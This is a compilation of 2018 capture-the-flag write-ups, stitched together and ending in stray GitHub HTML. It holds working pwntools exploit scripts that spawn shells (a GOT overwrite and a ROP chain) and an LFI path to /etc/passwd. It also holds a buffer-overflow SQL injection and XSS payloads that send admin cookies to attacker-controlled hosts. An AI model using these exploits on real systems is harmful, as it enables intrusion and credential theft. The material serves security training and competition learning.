### Race Wars1. The vulnerability exists during the program asks for tire amount; when doing so, we can apply for 0x8000000 tires to cause int overflow (0x8000000*0x20 = 0), and make the program allocate 0-size memory, but the tires struct can still be placed on heap for us to control.2. Use transmission function to overlap the tires struct and transmission struct 3. Use modify_tires functions to set all the attributes of tire as 0xffff4. Use modify_transmission function to get relative address read/write capability of arbitrary memory5. Read heap address and code GOT address to get libc address, then modify exit GOT to one_gadget, call exit, and get shell* code:
```python=from pwn import *import sysimport timeimport randomhost = '2f76febe.quals2018.oooverflow.io'port = 31337
binary = "./racewars"context.binary = binaryelf = ELF(binary)try: libc = ELF("./libc.so.6") log.success("libc load success") system_off = libc.symbols.system log.success("system_off = "+hex(system_off))except: log.failure("libc not found !")
def new(): pass
def edit(): pass
def remove(): pass
def show(start,end): pass r.recvuntil(start) data = r.recvuntil(end)[:-len(end)] return data
if len(sys.argv) == 1: r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."}) #r = remote("127.0.0.1" ,4444)
else: r = remote(host ,port) r.recvuntil("Challenge: ") Challenge = r.recvuntil("\n")[:-1] r.recvuntil("n:") n = r.recvuntil("\n")[:-1] r.recvuntil("Solution:") p = process(["/usr/bin/python", "./pow.py",Challenge ,n ]) print "pow..." p.recvuntil("Solution: ") ans = p.recvuntil(" ")[:-1] r.sendline(ans)
def tires(num): r.recvuntil("E: ") r.sendline("1") r.recvuntil("?\n") r.sendline(str(num))
def chassis(option): r.recvuntil("E: ") r.sendline("2") r.recvuntil("pse\n") r.sendline(str(option))
def engine(): r.recvuntil("E: ") r.sendline("3")
def transmission(option): r.recvuntil("E: ") r.sendline("4") r.recvuntil("? ") r.sendline(str(option))
def modify_tires_w(width): r.recvuntil("E: ") r.sendline("1") r.recvuntil(": ") r.sendline("1") r.recvuntil(": ") r.sendline(str(width))
def modify_tires_a(ratio): r.recvuntil("E: ") r.sendline("1") r.recvuntil(": ") r.sendline("2") r.recvuntil(": ") r.sendline(str(ratio))
def modify_tires_c(radial): r.recvuntil("E: ") r.sendline("1") r.recvuntil(": ") r.sendline("3") r.recvuntil(": ") r.sendline(str(radial))
def modify_tires_d(diameter): r.recvuntil("E: ") r.sendline("1") r.recvuntil(": ") r.sendline("4") r.recvuntil(": ") r.sendline(str(diameter))
def modify_chassis(): r.recvuntil("E: ") r.sendline("2") r.recvuntil(": ") r.sendline("1")
def modify_engine(): r.recvuntil("E: ") r.sendline("3")
def modify_transmission(gears,ratio,gear): r.recvuntil("E: ") r.sendline("4") r.recvuntil("? ") r.sendline(str(gears)) r.recvuntil("gear ratio for gear " + str(gears) + " is ") addr = r.recvuntil(", mo")[:-4] r.recvuntil(": ") r.sendline(str(ratio)) r.recvuntil(")") r.sendline(str(gear)) return addr
def buy(): r.recvuntil("E: ") r.sendline("5")
def race(): r.recvuntil("E: ") r.sendline("6")
if __name__ == '__main__': print "start" tires(0x8000000) transmission(1) chassis(1) engine() modify_tires_w(0xffff) modify_tires_a(0xffff) modify_tires_c(0xffff) modify_tires_d(0xffff) addr = "" for i in xrange(8): addr += chr(int(modify_transmission(0xffffffffffffff70+i,0x44,0))) heap = u64(addr) - 0xe0 print "heap =", hex(heap) h = -0xa0 puts_got = 0x603020
leak = ((puts_got - heap) - 0x90 - 0x10)&0xffffffffffffffff addr = "" for i in xrange(8): addr += chr(int(modify_transmission(leak+i,0x44,0))) puts = u64(addr) libc.address = puts - libc.symbols["puts"] print "libc.address =" , hex(libc.address) exit_got = 0x0603060 magic = libc.address + 0xf1147 leak = ((exit_got - heap) - 0x90-0x10)&0xffffffffffffffff print hex(magic) for i in xrange(8): modify_transmission(leak+i,ord(p64(magic)[i]),1) buy() tires(1) r.sendline("ls")
r.interactive()```### Say Hi!
You can send anything as the flag !!`OOO{Happy Mother's Day!!}``
### exzendtential-crisis (unsolved)
After loggin in, we found a LFI vulnerability.`http://d4a386ad.quals2018.oooverflow.io/essays.php?preview&name=../../../../../etc/passwd`
We retrive these files from the server:
- All PHP source code, but `flag.php` is WAFed.- /etc/php7/apache2/php.ini (not sure, I forget the exact location)- /usr/lib/php/20151012/mydb.so (found the path in php.ini)- /var/lib/mydb/mydb.db (found the path in mydb.so)
The main problem is the customized functions, `check_redential`, `get_user_id` .... Those function use PHP extension, written in C++, in `mydb.so`.
A quick reverse engineering will find a interesting function `check_hacker_attempt`. You can found the source code [in the official repo](https://github.com/o-o-overflow/chall-exzendtential-crisis/blob/master/src/c/mydb.cpp#L31-L69). the `strcpy` leads to a buffer overflow. It copies a `std::string` to a 100 byte C string.
Our main objective is to make `get_user_id()` return 1, which is the admin's user id. Exploiting the buffer overflow can [overwrite the table_name](https://github.com/o-o-overflow/chall-exzendtential-crisis/blob/master/src/c/mydb.cpp#L31-L69).
Here is the evil input: `print("A"*112+"users where rowid=1;--")`
The SQL query becomes:
```select rowid from users where rowid=1;-- where username = '...' and password = '...';```
Then the query returns 1. We are the admin now. Visit `flag.php` and get the flag!
Postscript: We fail to solve this because the reversing of `strcyp` tends to be confusing here. The code below is equal to `strcpy`. However, we somehow missed this part :(
```c++v5 = str_len + 1;if ( v5 >= 8 ){ *(_QWORD *)to_check = *(_QWORD *)username; *(_QWORD *)&to_check[v5 - 8] = *(_QWORD *)&username[v5 - 8]; qmemcpy( (void *)((unsigned __int64)(to_check + 8) & 0xFFFFFFFFFFFFFFF8LL), (const void *)(username - &to_check[-((unsigned __int64)(to_check + 8) & 0xFFFFFFFFFFFFFFF8LL)]), 8LL * ((v5 + (_DWORD)to_check - (((_DWORD)to_check + 8) & 0xFFFFFFF8)) >> 3));}else if ( v5 & 4 ){ *(_DWORD *)to_check = *(_DWORD *)username; *(_DWORD *)&to_check[v5 - 4] = *(_DWORD *)&username[v5 - 4];}else if ( v5 ){ *to_check = *username; if ( v5 & 2 ) *(_WORD *)&to_check[v5 - 2] = *(_WORD *)&username[v5 - 2];}v12 = sub_34E0;v11 = (__int64 (__fastcall *)(char *, __int64, int))sub_3220;```
## Guest Chefs
### PHP Eval White-List
- run ` die("`../flag`"); `- `OOO{Fortunately_php_has_some_rock_solid_defense_in_depth_mecanisms,_so-everything_is_fine.}`
### ghettohackers: Throwback
The interval of each '!' is the index of alphabet.
The text is `Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!`. First we try to find all letters on '!' and get `nwltisoos`.We try lots of possible decryptions like XOR, ord(i) - ord('!'), letters reorganization, affine cipher, Atbash cipher, and many classical ciphers but all failed.Finally, we notice that the place of '!' maybe a hint. We calculate the interval of each '!' and got `[4, 1, 18, 11, 0, 12, 15, 7, 9, 3, 0]`. We think these numbers are the index of alphabet (e.g. `4` is `d`), and write a code to print the answer.
```ori = 'Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!'sp = ori.split('!')print repr(''.join(chr(97 + len(s) - 1) for s in sp))```
### ddtek: Preview
#### reverse
* Use `IDA pro` to decompile the binary.* At first galance, we cannot get any useful information.* Use `gdb` and find out that it will mmap a new area for `real program`* There is a function which will do some xor stuff on `0x602000` and mmap an memory area for it. That is real program* In `gdb`, you can do this `dump binary memory result.bin 0x602000 0x605000`
* Now we have the real program.
#### exploit1. Use the string "HEAL /proc/self/maps" to get the code address and /lib/x86_64-linux-gnu/ld-2.23.so address2. canary is combined by code address and /lib/x86_64-linux-gnu/ld-2.23.so address 3. make the program stack overflow, bypass the canary, and use ROP to get shell
```python=from pwn import *import sysimport timeimport randomhost = 'cee810fa.quals2018.oooverflow.io'port = 31337
binary = "./preview"context.binary = binaryelf = ELF(binary)try: libc = ELF("./libc.so.6") log.success("libc load success") system_off = libc.symbols.system log.success("system_off = "+hex(system_off))except: log.failure("libc not found !")
if len(sys.argv) == 1: r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."}) #r = remote("127.0.0.1" ,4444)
else: r = remote(host ,port) r.recvuntil("Challenge: ") Challenge = r.recvuntil("\n")[:-1] r.recvuntil("n:") n = r.recvuntil("\n")[:-1] r.recvuntil("Solution:") p = process(["/usr/bin/python", "./pow.py",Challenge ,n ]) print "pow..." p.recvuntil("Solution: ") ans = p.recvuntil(" ")[:-1] r.sendline(ans)
if __name__ == '__main__': print "start" r.recvuntil("Standing by for your requests\n") r.sendline("HEAD /proc/self/maps\x00" + "A"*0x42) r.recvuntil("Here's your preview:\n") data = r.recvuntil("\n") if "/lib/x86_64-linux-gnu/ld-2" in data: ld_addr = data[:data.find("-")] r.recvuntil("\n") r.recvuntil("\n") data = r.recvuntil("\n") if "r-xp" in data: code = data[:data.find('-')] else: data = r.recvuntil("\n") code = data[:data.find('-')] elif "r-xp" in data: code = data[:data.find('-')] r.recvuntil("\n") r.recvuntil("\n") data = r.recvuntil("\n") ld_addr = data[:data.find("-")] ld_addr = int(ld_addr,16) code = int(code,16) pop_rdi = 0x00000000000010b3 + code pop_rsi_1 = 0x00000000000010b1 + code puts_got = code + 0x202020 puts_plt = code + 0x0009E0 read_plt = code + 0x000A60 pop_rsp_3 = code + 0x00000000000010ad print "code =", hex(code) print "ld_addr =" ,hex(ld_addr) canary = (code/0x1000 + ld_addr/0x1000 * 0x10000000)*0x100 print "canary =" , hex(canary) raw_input("@") r.sendline("A"*88 + p64(canary) +"A"*8+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rdi) + p64(0) + p64(pop_rsi_1) + p64(code + 0x0202800) + p64(0) + p64(read_plt) + p64(pop_rsp_3) + p64(code + 0x0202800)) r.recvuntil("Malformed request\n")
puts = u64(r.recv(6).ljust(8,"\x00")) libc.address = puts - libc.symbols['puts'] print "libc.address =" , hex(libc.address) r.sendline("A"*24 + p64(pop_rdi) + p64(code + 0x0202800+0x30) + p64(libc.symbols['system']) + "/bin/sh\x00")
r.interactive() ```
|
Short form (link for full writeup):
* Yao's Garbled Circuit is used. It is not regenerated between multiple inputs.* Dump garbled tables with a debugger.* Obtain input keys for each bit for value 0 and 1.* Parse the supplied verilog file and set inputs to each gate such that the circuit outputs true. |
# coconut## Main (200 pts) — 41 solves* Just for fun XD.```python#!/usr/bin/env pythonfrom pwn import *
# PCTF{Y0u_Just_Imp!em3nt3D_A_LLVM_pass!}
host , port = 'coconut.chal.pwning.xxx' , 6817y = remote( host , port )
while True: try: y.recvuntil( '<= ' ) th = int( y.recvline()[:-1] ) except: y.interactive()
y.recvuntil( 'ze:' )
s = y.recvuntil( 'ret' ).split( '\n' )
y.recvuntil( '>=' ) a = int( y.recvuntil( ' ' )[:-1] ) y.recvuntil( '<=' ) b = int( y.recvuntil( ':' )[:-1] )
ans = [] p = [] p.append( s[b].split( '\t' )[2].split( ', ' )[0] )
for i in range( b - 1 , a - 1 , -1 ): c = s[i].split( '\t' ) arg = c[2].split( ', ' )
if c[1] == 'notl' and arg[0] not in p: ans.append( int( c[0] ) )
if c[1] == 'notl': continue
if arg[1] in p: if c[1] == 'leal': l1 , l2 = arg[0][1:-1].split(',')[0].replace( 'r' , 'e' ) , arg[0][1:-1].split(',')[1].replace( 'r' , 'e' ) if l1 not in p: p.append( l1 ) if l2 not in p: p.append( l2 ) if l1 != arg[1] and l2 != arg[1]: del p[ p.index( arg[1] ) ]
else: if arg[0] not in p: p.append( arg[0] ) if c[1] == 'movl': del p[ p.index( arg[1] ) ] else: ans.append( int( c[0] ) )
ans.sort()
t = 0 c = 0 d = ''
for i in ans: if i - t > 1 and t: d += str( t ) + '\n' c = 0 elif t: if not c: d += str( t ) + '-' c = 1 t = i
d += str( ans[-1] ) + '\n' y.send( d + '#\n' )
y.interactive()``` |
# Number Game - misc
## Problem
Guess Guess Guess
nc 149.28.139.172 10002
Then
```sha256(****+yHn1M1ZBTLVP2zQh) == 1fdfcd161d85b245030e4dd1e5e0fae9b11afc45a4b048667503009a77ccfa19Give me XXXX:```
## Tools used
- Python- GitHub
## Solution
Seems like it wants me to find 4 characters, which are then concatenated to a salt to give me the hash.
```pythondef crack(salt, hash): alphabet = string.letters + string.digits
for prefix in itertools.product(alphabet, repeat=4): candidate = "".join(prefix) + salt h = hashlib.sha256(candidate).hexdigest() if h == hash: return "".join(prefix) break
print crack('yHn1M1ZBTLVP2zQh', '1fdfcd161d85b245030e4dd1e5e0fae9b11afc45a4b048667503009a77ccfa19')```
But it is not over. This is just a Proof of Work for the real challenge.
## Problem 2
```
o__ __o o__ __o ____o__ __o____ o__ __o__/_ <| v\ /v v\ / \ / \ <| v / \ <\ /> <\ \o/ < > \o/ o/ o/ | | |__ _<| <| < > o__/_ | \ \ | | <o> \o \ / o <o> | v\ o o <| | / \ <\ <\__ __/> / \ / \
In every round of the game, I'll choose some different numbers from the figure interval. You are required to guess those numbers,ofc so does the order of them.On each surmise of yours, 2 numbers will be told as a hint for you, but you need to speculate the fuctions of these 2 figures. (XDGLHF
================== round 1 ==================Give me 4 numbers, in[0, 10), You can only try 6 times0 0 0 0Nope. 0, 01 1 1 1Nope. 0, 02 2 2 2Nope. 1, 02 1 1 1Nope. 1, 01 2 1 1Nope. 0, 11 1 2 1Nope. 0, 1You lose, Correct answer is 2 5 6 7 .Bye.```
If you get it right, it continues for 8 rounds
## Solution 2
This is a variation of the [Mastermind](https://en.wikipedia.org/wiki/Mastermind_(board_game))
The two numbers the server returns are the number of red pegs and the number of white pegs.
You get a red peg for every number you found and got at the right position and a white peg for every number you got right but not in the right position.
This is a variation of the game, because the original game uses 6 colors (in our case would be digits 0-5 rather than 0-9) and and the colors can be repeated, while for us it appears that the numbers are all distinct.
Now I can write my own min-max algorithm, but github is my friend. Quick search for mastermind, selecting the top three repositories and looking through the code should do.
I settled on https://github.com/theopolisme/masterminder because it was clean, single-file, easy to follow and it looked like it was coded in a very extensible way (which I needed since I had a variation of mastermind).
Changes made:
- Separated the recursive architecture of the `guess()` function into stateful `validate()` and `guess()` for better interaction.- Changed colors from the 6 letters to the 10 digits I have- Changed the initial `self.all_possibilities` from an `itertools.product` to a `itertools.permutations` to avoid repeated digits
And that was about it, the architecture of `guess()` being the most work. Also, since this was python, the program was to slow and the server was timing out after 30 seconds of inactivity, so I had to change the solution to only consider up to 700 branches in the (I hope) minmax.
After this, just some python plumbing and interaction with the server through the `socket` package. And let it run.
The issue was that the library did not guarantee to solve mastermind in less than 6 moves, so usually in round 5-7 it was failing to find the solution. However, running it in parallel on 8 CPU cores did the trick.
**Flag: RCTF{0lD_GaM3_nAmed_Bu11s_4nd_C0ws}** |
# rBlog 2018 - Web
## Problem
get `document.cookie`
http://rblog.2018.teamrois.cn
Then on the URL:
```rBlog 2018Title: [input]Content: [textarea]Style: [dropdown]Image: [file-selector]
About rBlog 2018Store your secrets here but don't do evil things
Report AbuseReport to admin who is using latest version of Chrome StableReport: /blog.php [input]```
## Tools Used
- https://csp-evaluator.withgoogle.com/- Amazon Web Services- Burp Suite (optional)
## Solution
The description makes it obvious this is an XSS attack. However, this proved to be quite ingenious really enjoyable, so unless you solved this, I hope you will learn something from this article.
Start off by observing the context. We have a form where we can submit blog posts. Posts consist of a picture, a title, some content and the style of the page.
Start off by observing how the form works. Intercept the request in burpsuite and repeat it an XSS payload in to all fields to see how things behave. (For this challenge you don't need burpsuite, just wanted to bypass some annoying possible frontend validations). Sample:
```POST / HTTP/1.1Host: rblog.2018.teamrois.cnAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://rblog.2018.teamrois.cn/Content-Type: multipart/form-data; boundary=---------------------------9429957898579749681538093471Content-Length: 631Connection: closeUpgrade-Insecure-Requests: 1
-----------------------------9429957898579749681538093471Content-Disposition: form-data; name="title"
<script>alert(0);</script>-----------------------------9429957898579749681538093471Content-Disposition: form-data; name="content"
<script>alert(0);</script>-----------------------------9429957898579749681538093471Content-Disposition: form-data; name="effect"
<script>alert(0);</script>-----------------------------9429957898579749681538093471Content-Disposition: form-data; name="image"; filename=""Content-Type: application/octet-stream
-----------------------------9429957898579749681538093471--```
Follow the redirect in the response, inspect the page. Bingo: title is not properly escaped. However, the script does not execute. Getting this error instead: `Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'nonce-a716e2b3d6aa62c5c44e2bd90047f1f9'". Either the 'unsafe-inline' keyword, a hash ('sha256-d3ii1Pel57UO62xosCMNgTaZJhJa87Gd/X6e7UdlEU8='), or a nonce ('nonce-...') is required to enable inline execution.`
There is a [CSP](https://en.wikipedia.org/wiki/Content_Security_Policy) in place, obvious from the response header `Content-Security-Policy: default-src 'none'; script-src 'nonce-db072321d0fa2546c1472c3b9aa0030c'; frame-src https://www.google.com/recaptcha/; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src fonts.gstatic.com; img-src 'self'`
Formatting the response header nicer:
```makefileContent-Security-Policy: default-src 'none'; script-src 'nonce-db072321d0fa2546c1472c3b9aa0030c'; frame-src https://www.google.com/recaptcha/; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src fonts.gstatic.com; img-src 'self'```
Now we need to bypass that. Google wrote a tool to test your CSP. You can find it here https://csp-evaluator.withgoogle.com/. You can either give it the CSP itself, or the link to extract. Paste the above and we get the following result.

So script-src is missing, but that will not help, because the admin is using the latest version of Chrome Stable (written on the challenge page). We will need to use base-uri. This allows us to redirect anything that does not have the base set. Looking through the response, I see this
```html<script nonce="a716e2b3d6aa62c5c44e2bd90047f1f9" src="/assets/js/jquery.min.js"></script>```
Bingo, I just need to create something like that in the wild served from a public IP / DNS. There are many ways of doing that, AWS being the most obvious, but I went for github pages and I created an organization called `aicioara-gh-pages`, a repository called `assets` and inside the file `/js/jquery.min.js` with the payload `alert(0);` and I turned on GitHub pages from settings. This created the following public url `https://aicioara-gh-pages.github.io/assets/js/jquery.min.js`. This is great if you need an HTTPS resource out there. For this challenge it was not the case, so I should have gone with AWS.
Once I have that I want to make a blog post with the following title:
```<base href = "https://aicioara-gh-pages.github.io" />```
Following the redirect, I get the alert. Now I have arbitrary code execution. Now I need to steal the cookie. Unfortunately the code execution I have is not so arbitrary. Changing the payload in my version of jquery.min.js to something like
```jsvar payload = document.cookie;var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://example.com?" + payload, true);xhttp.send();```
Will not work. AJAX is blocked by the CSP. We need to make a `GET` request in some other way (think loading an external stylesheet, video, script, etc). The only action allowed is having a `<script>` with the correct nonce. Fortunately this is something we can do. All scripts on the page have a nonce, so we can steal one. We have arbitrary code execution, so we can read the nonce from any `<script>` tag, then create a new `<script>` tag, ask it to fetch its content from a location controlled by us, and add the payload as parameter. The payload in `/js/jquery.min.js` then becomes:
```jsvar payload = document.cookie;var nonce = document.querySelector("script").nonce;
var src = `http://ec2-54-152-84-87.compute-1.amazonaws.com/?${payload}`
var s = document.createElement('script')s.type = 'text/javascript's.src = srcs.setAttribute('nonce', nonce)
document.body.appendChild(s);```
On the AWS side of things, I just created a new EC2 VM, opened up port 80 and ran `python -m "SimpleHTTPServer" 80`. Submitted the URL for the post (the one with the `<base>` injection) to the admin and waited.
On AWS I get
```115.159.200.107 - - [19/May/2018 17:53:52] "GET /?flag=RCTF{why_the_heck_no_mimetype_for_webp_in_apache2_in_8012};%20hint_for_rBlog_Rev.2=http://rblog.2018.teamrois.cn/blog.php/52c533a30d8129ee4915191c57965ef4c7718e6d```
**Flag: RCTF{why_the_heck_no_mimetype_for_webp_in_apache2_in_8012}** |
# ▼▼▼rBlog 2018(Web:434pts) solved:27/400=6.8%▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```get `document.cookie`http://rblog.2018.teamrois.cn```
---
To get document.cookie, execution of script is required.
---
**【Understanding of functions】**
http://rblog.2018.teamrois.cn
↓
```About rBlog 2018Store your secrets here but don't do evil things
Report AbuseReport to admin who is using latest version of Chrome Stable```
↓
・There is a function to **upload blog contents(title / contents / style / image)**.
・There is a function to **report to admin**.
---
**【Identify the location of the vulnerability】**
Try sending the request below
↓
```POST / HTTP/1.1Host: rblog.2018.teamrois.cnContent-Type: multipart/form-data; boundary=----WebKitFormBoundary2cf9BXkX7RWDsXyP
------WebKitFormBoundary2cf9BXkX7RWDsXyPContent-Disposition: form-data; name="title"
<>1------WebKitFormBoundary2cf9BXkX7RWDsXyPContent-Disposition: form-data; name="content"
<>2------WebKitFormBoundary2cf9BXkX7RWDsXyPContent-Disposition: form-data; name="effect"
------WebKitFormBoundary2cf9BXkX7RWDsXyPContent-Disposition: form-data; name="image"; filename=""Content-Type: application/octet-stream
------WebKitFormBoundary2cf9BXkX7RWDsXyP--```
---
I can see the contents with the following request
```GET /blog.php/79b4463a97b6a4fa223f02e899a4b46b43c9dd32 HTTP/1.1Host: rblog.2018.teamrois.cn```
↓
```HTTP/1.1 200 OKDate: Mon, 21 May 2018 09:49:16 GMTServer: Apache/2.4.25 (Debian)X-Powered-By: PHP/7.2.5Referrer-Policy: strict-originX-Frame-Options: DENYContent-Security-Policy: default-src 'none'; script-src 'nonce-3ae08923a2654e27a3734f7876a5abe0'; frame-src https://www.google.com/recaptcha/; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src fonts.gstatic.com; img-src 'self'Vary: Accept-EncodingContent-Length: 696Connection: closeContent-Type: text/html; charset=UTF-8
<html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <link rel="stylesheet" href="/assets/css/bootstrap.min.css"> <link rel="stylesheet" href="/assets/css/style.css"> <link href="https://fonts.googleapis.com/css?family=Titillium+Web" rel="stylesheet"> <title>rBlog 2018</title></head><body><div class="container mt-5"> <div class="card"> <div class="card-body"> <h2 class="card-title"><>1</h2> <>2 </div> </div></div><script nonce="3ae08923a2654e27a3734f7876a5abe0" src="/assets/js/jquery.min.js"></script></body></html>```
<>2
↓
`<>1`
↓
XSS vulnerability with `title` parameter
---
**【Confirmation of defense mechanism】**
```X-Frame-Options: DENYContent-Security-Policy: default-src 'none'; script-src 'nonce-3ae08923a2654e27a3734f7876a5abe0'; frame-src https://www.google.com/recaptcha/; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src fonts.gstatic.com; img-src 'self'```
↓ Check restrictions related to script execution
```default-src 'none'script-src 'nonce-3ae08923a2654e27a3734f7876a5abe0';```
↓
Execution of script is possible in the following form
```<script src=●●● nonce={random}></script>```
---
Confirm around XSS.
↓
```<div class="container mt-5"> <div class="card"> <div class="card-body"> <h2 class="card-title"><>1</h2> <>2 </div> </div></div><script nonce="3ae08923a2654e27a3734f7876a5abe0" src="/assets/js/jquery.min.js"></script>```
<>2
↓
There is a script tag read in `relative path after XSS`,and `base-uri is not restricted in CSP`.
---
**【exploit】**
1. Create Payload
Insert `<base href ="http://【my_server】/">` in the `title` parameter
↓ Then, the following script behavior is ...
`<script nonce="3ae08923a2654e27a3734f7876a5abe0" src="/assets/js/jquery.min.js"></script>` will access `http://【my_server】/assets/js/jquery.min.js`
---
2. Place the following javascript in `http://【my_server】/assets/js/jquery.min.js`
```location.href="http://【my_server】?"+document.cookie;```
---
3. Send Payload to admin
↓
admin has accessed 【my_server】
```115.159.200.107 - - [20/May/2018:07:02:09 +0000] "GET /?flag=RCTF{why_the_heck_no_mimetype_for_webp_in_apache2_in_8012};%20hint_for_rBlog_Rev.2=http://rblog.2018.teamrois.cn/blog.php/52c533a30d8129ee4915191c57965ef4c7718e6d HTTP/1.1" 200 2261```
↓
`flag=RCTF{why_the_heck_no_mimetype_for_webp_in_apache2_in_8012}` |
## Challenge
We receive the following info:
```nohighlightBuilding the future web, together.
http://amp.2018.teamrois.cn```
After loading the page we are presented with:

Entering a name results in a notice of you being tracked:

Generously the page allows us to request an end of tracking:

Additionally the page sets a cookie which gives us a hint about the place where the flag lives:

## Attack
Since the flag apparently is in the cookie of the admin, we need to steal that cookie. The page seems to reflect values entered as the `?name=` parameter back into the HTML of the page. Probably it will also include this HTML code in the request which is sent to the admin.
Upon further analysis the page does not seem to perform any sanitization of the user controlled parameter.Thus we can inject inject arbitrary HTML code.However, injecting scripts is prevented by the server setting a `Content-Security-Policy`:
```nohighlightscript-src 'nonce-2d09f4833b69e90fc34c4f8e3838c473' 'strict-dynamic'; style-src 'unsafe-inline'```
The received HTML code then looks like:
```htmlDear <script>alert('test')</script>:<h1>YOU'RE BEING TRACKING</h1>
Dear <script>alert('test')</script>:
<script src="https://www.google.com/recaptcha/api.js" nonce="2d09f4833b69e90fc34c4f8e3838c473"></script><script nonce="2d09f4833b69e90fc34c4f8e3838c473">function onSubmit(token) { document.getElementById("form").submit()} </script>```
This means that the script tag is not executed since it needs to have a `nonce=<nonce>` set where `<nonce>` matches the nonce of the response header (which is changing on each response).While it is still be possible to load other javascript files by injecting mismatching numbers of `"` characters which then can allow us to steal the nonce of a following script tag this will only allow us to load arbitrary script files and not embed script code right within the tags.Loading scripts from files from a different server might allow us to steal nonces of other script tags and then inject code which gets access to `document.cookie`, but all this is highly speculative on the structure of the admin page. If that one does not use JavaScript at all, we are out of luck.
Thus, lets focus on the hint which is provided as HTML comment:
```html
```
The AMP Standard aims to provide blazing fast rendering of (mobile) pages. It achieves this by loading the entire page in a single request and forbidding use of (synchronous) javascript.However, most websites still depend on dynamic content and would not be implementable without scripts or advertisers being able to track users.Thus the AMP *Standard* invents its own HTML tags in order to still be able to provide such features without sacrificing speed.The following code will, for example, trigger a request for a pixel with a random value as GET parameter:
```html<amp-pixel src="https://foo.com/pixel?RANDOM"></amp-pixel>```
Since this simple random value is not that useful for advertisers who care a lot in order to provide us with ads we like there are more sophisticated variable substitution techniques available in the [AMP documentation](https://www.ampproject.org/docs/analytics/analytics_basics#variable-substitution).
Notable here is the [`clientId`](https://www.ampproject.org/docs/analytics/analytics_basics#user-identification):
```html<amp-pixel src="https://foo.com/pixel?cid=CLIENT_ID(site-user-id-cookie-fallback-name)"></amp-pixel>```
This will trigger a request for a tracking pixel which includes the AMP client id. If that id does not exist the value of the cookie `site-user-id-cookie-fallback-name` is used.
So if we can inject such an `<amp-pixel>` tag into the admin log view, we can steal his cookie.
Thus we set our name to:```nohighlight?name=<amp-pixel src="https://<some domain we control>/pixel?clientId=CLIENT_ID(FLAG)"></amp-pixel>```And request not to be logged.
The *admin* promptly seems to check the logs and we record a request against our domain[1]:
```nohighlight[21/May/2018:06:41:08 -0400] "GET /pixel?clientId=RCTF%7BEl_PsY_CONGRO0_sg0%7D HTTP/1.1" 404 3650 "http://amp.2018.teamrois.cn/?name=%3Camp-pixel%20src=%22https://<some domain we control>/pixel?clientId=CLIENT_ID(FLAG)%22%3E%3C/amp-pixel%3E?name=%3Camp-pixel%20src=%22https://<some domain we control>/pixel?clientId=CLIENT_ID(FLAG)%22%3E%3C/amp-pixel%3E" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/66.0.3359.117 Safari/537.36" "-"```
This leaves us with the flag: `RCTF{El_PsY_CONGRO0_sg0}`
-----
[1]: Due to restrictions of loading external scripts the domain needs to serve HTTPs content. But thanks to https://letsencrypt.org/ this should not be an issue. |
Spin up an Ubuntu box, ls /bin, ls /usr/bin and half an hour of manually trying different things. Good times!
Final list is:
shuf,tail,more,uniq,sort,tac,head,ls,find,expr,expand,echo,dir,erb,fold
Contents of "food" was the string "food".
https://advancedpersistentjest.com/2018/05/21/writeups-sign-cpushop-cats-rctf-part-1/ |
The file we got contains only one query `explain [redacted]` which prints us all instructions this query is going to execute.Using opcodes list [https://sqlite.org/opcode.html](https://sqlite.org/opcode.html) we can build simple VM to execute this query.
Single instruction is built this way:```address|name|P1|P2|P3|P4|P5|```where P is just an argument.
First of all we can notice that there are many opcodes that are useless for us as we don't have access to database and can't read any data from it.We can ignore `Trace`,`Transaction`,`VerifyCookie`,`TableLock`,`OpenRead`,`Rewind`,`Column`,`ResultRow`,`Next` and `Close` instructions.Implementing `Halt` and `Goto` also is very simple, because we just stop executing query in the first case and change instruction pointer in the second case.
First useful instructions which are executed are `Integer` and `String8` (we jump to them with `Goto`).`Integer` stores value given in P1 in register with index P2. `String8` is a little more complicated but in this challenge we can just assume it stores letter given in P4 in register with index P2.
After initializing the registers we execute second part of the query which consists of a long series of `Column`, `Function` and `Ne` instructions.
`Column` stores value from database in register with index P3 (that's why we can ignore it in our VM).
All `Function` instructions in this query execute `substr()` function with 3 arguments (string,start,length). Arguments are taken from registers starting at index P2 and return value is written to register with index P3.
By examining registers values we can see that this function always takes 1 byte of string returned by databse in `Column` instruction.The second argument for this function (so register with index `P2+1`) contains char index (starting from 1) we want to extract.
This one char goes to the register with index 1 which is later compared with value from register P1 in `Ne` instruction.If the values were different we would just jump to the end of program (and possibly start extractring other records) so we can assume that they must be the same and the query executes without any problems until the end (we wouldn't be able to solve this otherwise).
So we know that P1 (from `String8`) is compared in `Ne` instruction with the preceding `Function`'s return value (single char at `P2+1`th position in the record from database, please note it's `P2+1` of `Function` instruction not `Ne`).
When we finally reach `Halt` instruction we'll know every character of flag as well as its index. We only need to glue all the parts together in the correct order and we get the flag.
`flag{lqs_rof_galf_esrever_a}` |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
